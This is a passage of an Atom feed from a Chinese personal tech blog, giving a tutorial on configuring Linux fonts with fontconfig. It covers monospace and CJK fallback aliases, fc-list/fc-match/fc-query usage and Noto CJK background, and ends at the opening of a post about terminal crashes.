&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;!-- ~&amp;#x2F;.config&amp;#x2F;fontconfig&amp;#x2F;fonts.conf --&amp;gt;
&amp;lt;alias&amp;gt;
  &amp;lt;family&amp;gt;monospace&amp;lt;&amp;#x2F;family&amp;gt;
  &amp;lt;prefer&amp;gt;
    &amp;lt;family&amp;gt;Fira Code&amp;lt;&amp;#x2F;family&amp;gt;
  &amp;lt;&amp;#x2F;prefer&amp;gt;
&amp;lt;&amp;#x2F;alias&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后 fc-cache -fv，重启 Kitty 或其他应用&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xiu-fu-zhong-wen-luan-ma-huo-ying-wen-mo-hu&quot;&gt;修复中文乱码或英文模糊&lt;&#x2F;h2&gt;
&lt;p&gt;有时英文用等宽字体，中文却没字体可显示。可以添加中文字体 fallback：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;alias&amp;gt;
  &amp;lt;family&amp;gt;serif&amp;lt;&amp;#x2F;family&amp;gt;
  &amp;lt;prefer&amp;gt;
    &amp;lt;family&amp;gt;Noto Serif CJK SC&amp;lt;&amp;#x2F;family&amp;gt;
  &amp;lt;&amp;#x2F;prefer&amp;gt;
&amp;lt;&amp;#x2F;alias&amp;gt;
&amp;lt;alias&amp;gt;
  &amp;lt;family&amp;gt;sans-serif&amp;lt;&amp;#x2F;family&amp;gt;
  &amp;lt;prefer&amp;gt;
    &amp;lt;family&amp;gt;Noto Sans CJK SC&amp;lt;&amp;#x2F;family&amp;gt;
  &amp;lt;&amp;#x2F;prefer&amp;gt;
&amp;lt;&amp;#x2F;alias&amp;gt;
&amp;lt;alias&amp;gt;
  &amp;lt;family&amp;gt;monospace&amp;lt;&amp;#x2F;family&amp;gt;
  &amp;lt;prefer&amp;gt;
    &amp;lt;family&amp;gt;JetBrains Mono&amp;lt;&amp;#x2F;family&amp;gt;
    &amp;lt;family&amp;gt;Noto Sans Mono CJK SC&amp;lt;&amp;#x2F;family&amp;gt;
  &amp;lt;&amp;#x2F;prefer&amp;gt;
&amp;lt;&amp;#x2F;alias&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;安装中文字体（如 Noto CJK）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install fonts-noto-cjk
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;diao-shi-ji-qiao&quot;&gt;调试技巧&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;查看字体缓存状态 &lt;code&gt;fc-cache -s&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;检查某个字体是否被扫描 &lt;code&gt;fc-list&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;查看配置加载顺序 &lt;code&gt;fc-match -v monospace&lt;&#x2F;code&gt; （看输出中的 pattern）&lt;&#x2F;li&gt;
&lt;li&gt;强制重建所有缓存 &lt;code&gt;fc-cache -fv ~&#x2F;.local&#x2F;share&#x2F;fonts&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;zui-jia-shi-jian&quot;&gt;最佳实践&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;安装字体
&lt;ul&gt;
&lt;li&gt;放入 ~&#x2F;.local&#x2F;share&#x2F;fonts&#x2F;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;配置字体
&lt;ul&gt;
&lt;li&gt;使用 ~&#x2F;.config&#x2F;fontconfig&#x2F;fonts.conf&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;修改默认等宽字体
&lt;ul&gt;
&lt;li&gt;在 fonts.conf 中设置 monospace 别名&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;刷新配置
&lt;ul&gt;
&lt;li&gt;fc-cache -fv&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;验证结果
&lt;ul&gt;
&lt;li&gt;fc-match monospace&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;wan-zheng-shi-li-pei-zhi-wen-jian&quot;&gt;完整示例配置文件&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;!-- ~&amp;#x2F;.config&amp;#x2F;fontconfig&amp;#x2F;fonts.conf --&amp;gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE fontconfig SYSTEM &amp;quot;fonts.dtd&amp;quot;&amp;gt;
&amp;lt;fontconfig&amp;gt;

  &amp;lt;!-- 设置 monospace 默认字体 --&amp;gt;
  &amp;lt;alias&amp;gt;
    &amp;lt;family&amp;gt;monospace&amp;lt;&amp;#x2F;family&amp;gt;
    &amp;lt;prefer&amp;gt;
      &amp;lt;family&amp;gt;JetBrains Mono&amp;lt;&amp;#x2F;family&amp;gt;
      &amp;lt;family&amp;gt;Fira Code&amp;lt;&amp;#x2F;family&amp;gt;
      &amp;lt;family&amp;gt;DejaVu Sans Mono&amp;lt;&amp;#x2F;family&amp;gt;
    &amp;lt;&amp;#x2F;prefer&amp;gt;
  &amp;lt;&amp;#x2F;alias&amp;gt;

  &amp;lt;!-- 渲染优化 --&amp;gt;
  &amp;lt;match target=&amp;quot;font&amp;quot;&amp;gt;
    &amp;lt;edit name=&amp;quot;antialias&amp;quot; mode=&amp;quot;assign&amp;quot;&amp;gt;&amp;lt;bool&amp;gt;true&amp;lt;&amp;#x2F;bool&amp;gt;&amp;lt;&amp;#x2F;edit&amp;gt;
    &amp;lt;edit name=&amp;quot;hinting&amp;quot; mode=&amp;quot;assign&amp;quot;&amp;gt;&amp;lt;bool&amp;gt;true&amp;lt;&amp;#x2F;bool&amp;gt;&amp;lt;&amp;#x2F;edit&amp;gt;
    &amp;lt;edit name=&amp;quot;hintstyle&amp;quot; mode=&amp;quot;assign&amp;quot;&amp;gt;&amp;lt;const&amp;gt;hintslight&amp;lt;&amp;#x2F;const&amp;gt;&amp;lt;&amp;#x2F;edit&amp;gt;
    &amp;lt;edit name=&amp;quot;rgba&amp;quot; mode=&amp;quot;assign&amp;quot;&amp;gt;&amp;lt;const&amp;gt;rgb&amp;lt;&amp;#x2F;const&amp;gt;&amp;lt;&amp;#x2F;edit&amp;gt;
    &amp;lt;edit name=&amp;quot;lcdfilter&amp;quot; mode=&amp;quot;assign&amp;quot;&amp;gt;&amp;lt;const&amp;gt;lcddefault&amp;lt;&amp;#x2F;const&amp;gt;&amp;lt;&amp;#x2F;edit&amp;gt;
  &amp;lt;&amp;#x2F;match&amp;gt;

&amp;lt;&amp;#x2F;fontconfig&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux 字体配置</title>
        <published>2025-08-14T12:39:02+08:00</published>
        <updated>2025-08-14T12:39:02+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/linux 字体配置/"/>
        <id>https://vercel.juzhong.asia/2025/08/linux 字体配置/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/linux 字体配置/">&lt;h1 id=&quot;zi-ti-pei-zhi-zhong-she-ji-dao-de-ji-ge-ming-cheng&quot;&gt;字体配置中涉及到的几个名称&lt;&#x2F;h1&gt;
&lt;p&gt;字体的几个“名字”：别被搞混了&lt;&#x2F;p&gt;
&lt;p&gt;一个字体在系统中可能有多个“名字”，它们分别是：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;名称类型&lt;&#x2F;th&gt;&lt;th&gt;实例&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;字体文件名&lt;&#x2F;td&gt;&lt;td&gt;JetBrainsMono-Regular.ttf&lt;&#x2F;td&gt;&lt;td&gt;文件系统中的名字， 不用于配置&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;字体族名（Family）&lt;&#x2F;td&gt;&lt;td&gt;JetBrains Mono&lt;&#x2F;td&gt;&lt;td&gt;最重要的名字，用于 fc-match 和 Kitty 配置&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;字体样式名（Style）&lt;&#x2F;td&gt;&lt;td&gt;Regular , Bold , Italic&lt;&#x2F;td&gt;&lt;td&gt;区分粗体、斜体等&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;完整字体名（Full Name）&lt;&#x2F;td&gt;&lt;td&gt;JetBrains Mono Regular&lt;&#x2F;td&gt;&lt;td&gt;族名 + 样式，一般也不用于配置&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;yong-fc-list-kan-kan-shi-ji-shu-chu&quot;&gt;用 fc-list 看看实际输出&lt;&#x2F;h2&gt;
&lt;p&gt;先安装对应的字体&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install fonts-jetbrains-mono
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用fc-list 查看&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;fc-list | grep -i &amp;quot;jetbrains&amp;quot;
fc-list | grep -i &amp;quot;notosansmono&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出可能类似：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;JetBrainsMono&amp;#x2F;JetBrainsMono-Regular.ttf: JetBrains Mono:style=Regular
&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;JetBrainsMono&amp;#x2F;JetBrainsMono-Bold.ttf: JetBrains Mono:style=Bold
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;解读：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;路径：&#x2F;usr&#x2F;share&#x2F;fonts&#x2F;...&#x2F;JetBrainsMono-Regular.ttf → 这是文件名&lt;&#x2F;li&gt;
&lt;li&gt;第一个名字：JetBrains Mono → 这是字体族名（Family） ✅（你要用的）&lt;&#x2F;li&gt;
&lt;li&gt;style=Regular → 这是字体样式&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;✅ 所以你应该在 Kitty 中使用 font_family JetBrains Mono，而不是 JetBrainsMono-Regular.ttf&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fc-match-yong-shen-me-ming-zi-yong-zi-ti-zu-ming&quot;&gt;fc-match 用什么名字？用“字体族名”&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;fc-match &amp;quot;JetBrains Mono&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;✅ 正确：使用 族名（JetBrains Mono）&lt;&#x2F;li&gt;
&lt;li&gt;❌ 错误：使用文件名（JetBrainsMono-Regular.ttf）或完整名（JetBrains Mono Regular）
输出示例：&lt;&#x2F;li&gt;
&lt;li&gt;JetBrainsMono-Regular.ttf: &quot;JetBrains Mono&quot; &quot;Regular&quot;&lt;&#x2F;li&gt;
&lt;li&gt;这说明匹配成功。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;shi-yong-fontconfiggong-ju&quot;&gt;使用fontconfig工具&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install fontconfig
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fang-fa-1-yong-fc-list-ti-qu-zu-ming-tui-jian&quot;&gt;方法 1：用 fc-list 提取族名（推荐）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 列出所有 JetBrains 字体的族名
fc-list : family | grep -i jetbrains
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;输出：&lt;&#x2F;li&gt;
&lt;li&gt;JetBrains Mono&lt;&#x2F;li&gt;
&lt;li&gt;→ 你就用 JetBrains Mono 作为 font_family&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;fang-fa-2-yong-fc-match-yan-zheng-shi-fou-neng-pi-pei&quot;&gt;方法 2：用 fc-match 验证是否能匹配&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;fc-match &amp;quot;JetBrains Mono&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果返回 .ttf 文件路径，说明名字正确。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fang-fa-3-cha-kan-zi-ti-xiang-xi-xin-xi-gao-ji&quot;&gt;方法 3：查看字体详细信息（高级）&lt;&#x2F;h2&gt;
&lt;p&gt;使用 fc-query 查看某个字体文件的元数据：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;fc-query &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;JetBrainsMono&amp;#x2F;JetBrainsMono-Regular.ttf | grep -i family
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;输出：&lt;&#x2F;li&gt;
&lt;li&gt;family: &quot;JetBrains Mono&quot;&lt;&#x2F;li&gt;
&lt;li&gt;familylang: &quot;en&quot;&lt;&#x2F;li&gt;
&lt;li&gt;→ 所以族名是 JetBrains Mono&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;no-entry-sign-chang-jian-cuo-wu-yong-fa-bu-yao-zhe-yang-zuo&quot;&gt;🚫 常见错误用法（不要这样做）&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;font_family JetBrainsMono-Regular.ttf&lt;&#x2F;li&gt;
&lt;li&gt;font_family JetBrains Mono Regular&lt;&#x2F;li&gt;
&lt;li&gt;font_family &#x2F;usr&#x2F;share&#x2F;fonts&#x2F;...&#x2F;ttf&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;te-shu-qing-kuang-nerd-fonts-bu-ding-zi-ti&quot;&gt;特殊情况：Nerd Fonts 补丁字体&lt;&#x2F;h1&gt;
&lt;p&gt;Nerd Fonts 给字体加了图标支持，通常会修改族名。&lt;&#x2F;p&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;fc-list | grep -i &amp;quot;nerd&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;输出：&lt;&#x2F;li&gt;
&lt;li&gt;... FiraCode Nerd Font:style=Regular&lt;&#x2F;li&gt;
&lt;li&gt;... JetBrainsMono Nerd Font:style=Medium&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;white-check-mark-zheng-que-pei-zhi&quot;&gt;✅ 正确配置：&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;font_family FiraCode Nerd Font&lt;&#x2F;li&gt;
&lt;li&gt;注意：空格和大小写都要一致！&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;shi-yong-ming-ling-su-cha-biao&quot;&gt;实用命令速查表&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;fc-list
# 格式：文件路径: 家族名, 完整名:style=样式
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. 列出所有字体族名（只显示 family）
fc-list : family
# 2. 搜索包含 &amp;quot;mono&amp;quot; 的字体族
fc-list : family | grep -i mono
# 3. 搜索 JetBrains 相关字体
fc-list : family | grep -i jetbrains
# 4. 验证某个字体是否可用
fc-match &amp;quot;Fira Code&amp;quot;
fc-match &amp;quot;JetBrains Mono&amp;quot;
# 5. 刷新字体缓存（安装新字体后）
fc-cache -fv
# 6
fc-list : family style
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;nei-bu-yuan-shu-ju-ming-cheng&quot;&gt;内部元数据名称&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;fc-scan &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;truetype&amp;#x2F;jetbrains-mono&amp;#x2F;JetBrainsMono-Regular.ttf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;fc-match-monospace-de-han-yi&quot;&gt;fc-match monospace 的含义&lt;&#x2F;h1&gt;
&lt;p&gt;monospace 是 fontconfig 定义的逻辑字体分类名&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;隐式属性匹配‌&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;monospace是Fontconfig通过spacing属性自动识别的分类，而非字体元数据中的显式字段。当字体满足spacing=100（等宽）时，系统会将其归入monospace类别，但该标签不会出现在fc-list的原始输出中56。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;‌验证方法‌&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;通过以下命令可查看字体的等宽属性：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;fc-list :spacing=100  # 列出所有等宽字体
fc-list : family spacing | grep -B1 &amp;quot;100&amp;quot;  # 显示家族名和间距属性
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;mermaid flowchart&quot; class=&quot;language-mermaid flowchart &quot;&gt;&lt;code class=&quot;language-mermaid flowchart&quot; data-lang=&quot;mermaid flowchart&quot;&gt;graph LR
A[应用程序请求&amp;lt;br&amp;gt;“monospace”字体] --&amp;gt; B[fontconfig 规则引擎]
B --&amp;gt; C{匹配规则库&amp;lt;br&amp;gt;&amp;#x2F;etc&amp;#x2F;fonts&amp;#x2F;conf.d}
C --&amp;gt; D[物理字体文件]
D --&amp;gt; E[返回实际字体路径]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;fc-match -s monospace | head -n5
fc-match monospace |head -n1 
# 查看完整的字体属性
fc-query &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;opentype&amp;#x2F;noto&amp;#x2F;NotoSansCJK-Regular.ttc | grep -E &amp;#x27;family|style&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;wei-shen-me-zhe-yang-she-ji&quot;&gt;为什么这样设计？&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;抽象层价值：
&lt;ul&gt;
&lt;li&gt;应用程序只需请求 &quot;monospace&quot;，不需知道具体字体&lt;&#x2F;li&gt;
&lt;li&gt;系统管理员可统一修改所有应用的等宽字体&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;多语言支持：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;!-- 针对中文的 monospace 优化 --&amp;gt;
&amp;lt;alias&amp;gt;
  &amp;lt;family&amp;gt;monospace&amp;lt;&amp;#x2F;family&amp;gt;
  &amp;lt;prefer&amp;gt;
    &amp;lt;family&amp;gt;Noto Sans Mono CJK SC&amp;lt;&amp;#x2F;family&amp;gt;
  &amp;lt;&amp;#x2F;prefer&amp;gt;
&amp;lt;&amp;#x2F;alias&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;字体回退机制：
当首选字体缺失字符时，自动回退到备选字体&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;qi-ta-zhu-yao-de-luo-ji-zi-ti-fen-lei-ming&quot;&gt;其他主要的逻辑字体分类名&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;serif（衬线体）
&lt;ul&gt;
&lt;li&gt;特征：字符末端带有装饰性衬线（如Times New Roman、宋体）。&lt;&#x2F;li&gt;
&lt;li&gt;用途：正文印刷、传统排版，提升长文本可读性13。&lt;&#x2F;li&gt;
&lt;li&gt;示例物理字体：
&lt;ul&gt;
&lt;li&gt;Linux: DejaVu Serif, Liberation Serif&lt;&#x2F;li&gt;
&lt;li&gt;Windows: Times New Roman&lt;&#x2F;li&gt;
&lt;li&gt;macOS: Georgia&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;sans-serif（无衬线体）
&lt;ul&gt;
&lt;li&gt;特征：无衬线，线条简洁（如Arial、微软雅黑）。&lt;&#x2F;li&gt;
&lt;li&gt;用途：屏幕显示、现代UI设计，适合标题和短文本134。&lt;&#x2F;li&gt;
&lt;li&gt;示例物理字体：
&lt;ul&gt;
&lt;li&gt;Linux: DejaVu Sans, Noto Sans&lt;&#x2F;li&gt;
&lt;li&gt;Windows: Arial&lt;&#x2F;li&gt;
&lt;li&gt;macOS: Helvetica&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;cursive（手写体）
&lt;ul&gt;
&lt;li&gt;特征：模拟手写风格，笔画连贯。&lt;&#x2F;li&gt;
&lt;li&gt;用途：艺术设计、个性化标题，不适用于长文本34。&lt;&#x2F;li&gt;
&lt;li&gt;示例物理字体：Comic Sans MS, Brush Script MT&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;fantasy（装饰体）
&lt;ul&gt;
&lt;li&gt;特征：高度装饰性，风格多变（如海报字体）。&lt;&#x2F;li&gt;
&lt;li&gt;用途：海报、LOGO设计，强调视觉冲击34。&lt;&#x2F;li&gt;
&lt;li&gt;示例物理字体：Impact, Papyrus&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;symbol（符号字体）
&lt;ul&gt;
&lt;li&gt;特征：包含特殊符号而非文字（如数学符号、图标）。&lt;&#x2F;li&gt;
&lt;li&gt;用途：数学公式、技术文档中的符号渲染13。&lt;&#x2F;li&gt;
&lt;li&gt;示例物理字体：Webdings, Symbol&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;si-yuan-zi-ti&quot;&gt;思源字体&lt;&#x2F;h1&gt;
&lt;p&gt;思源黑体，英文名为Source Han Sans，Google 称之为Noto Sans CJK，是一款由Adobe 和Google 共同开发的开源字体家族。它支持简体中文、繁体中文、日文和韩文，并且有多种字重，旨在为多语言环境提供一致的视觉体验。&lt;&#x2F;p&gt;
&lt;p&gt;思源字体和宋体、黑体的区别在于，思源字体是一个字体家族，包含了思源黑体和思源宋体，而宋体和黑体是两种常见的字体类型，各自都有不同的特点和应用场景。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhu-yao-qu-bie&quot;&gt;主要区别&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;衬线:这是最主要的区别。宋体有衬线，黑体没有衬线.&lt;&#x2F;li&gt;
&lt;li&gt;风格:宋体更传统，黑体更现代.&lt;&#x2F;li&gt;
&lt;li&gt;应用场景:宋体常用于正文，黑体常用于标题和界面.&lt;&#x2F;li&gt;
&lt;li&gt;思源字体:思源字体家族提供了多种字重和对多种语言的支持，可以满足更广泛的需求.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;ju-ti-han-yi-ru-xia&quot;&gt;具体含义如下：&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;思源:
&lt;ul&gt;
&lt;li&gt;“思源”一词出自成语“饮水思源”，寓意对字体来源的尊重和对设计者的感谢。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;黑体:
&lt;ul&gt;
&lt;li&gt;指字体风格，是一种无衬线字体，特点是字形简洁、现代，笔画粗细均匀，易于阅读。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Source Han Sans:
&lt;ul&gt;
&lt;li&gt;Adobe 公司对该字体的英文名称，属于Adobe 的Source 字体家族。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Noto Sans CJK:
&lt;ul&gt;
&lt;li&gt;Google 公司对该字体的名称，属于Google 的Noto 字体家族。“CJK”代表中文（Chinese）、日文（Japanese）和韩文（Korean），表示该字体支持这三种语言的统一表意文字。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;总而言之，思源黑体&#x2F;Source Han Sans&#x2F;Noto Sans CJK 是一款由Adobe 和Google 合作开发的开源字体，以“饮水思源”命名，支持多种语言，具有简洁现代的设计风格，广泛应用于网页设计、印刷品、软件界面等领域。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lbqaq.top&#x2F;p&#x2F;linux-font&#x2F;&quot;&gt;字体配置&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux 终端崩溃排查</title>
        <published>2025-08-14T10:09:21+08:00</published>
        <updated>2025-08-14T10:09:21+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/linux 终端崩溃排查/"/>
        <id>https://vercel.juzhong.asia/2025/08/linux 终端崩溃排查/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/linux 终端崩溃排查/">&lt;h1 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h1&gt;
&lt;p&gt;第一次发生崩溃是在使用Ctrl+R 进行历史命令搜索时发生，
按下&lt;code&gt;Ctrl+R&lt;&#x2F;code&gt;后， 1秒内终端就直接退出了&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pai-cha-guo-cheng&quot;&gt;排查过程&lt;&#x2F;h1&gt;
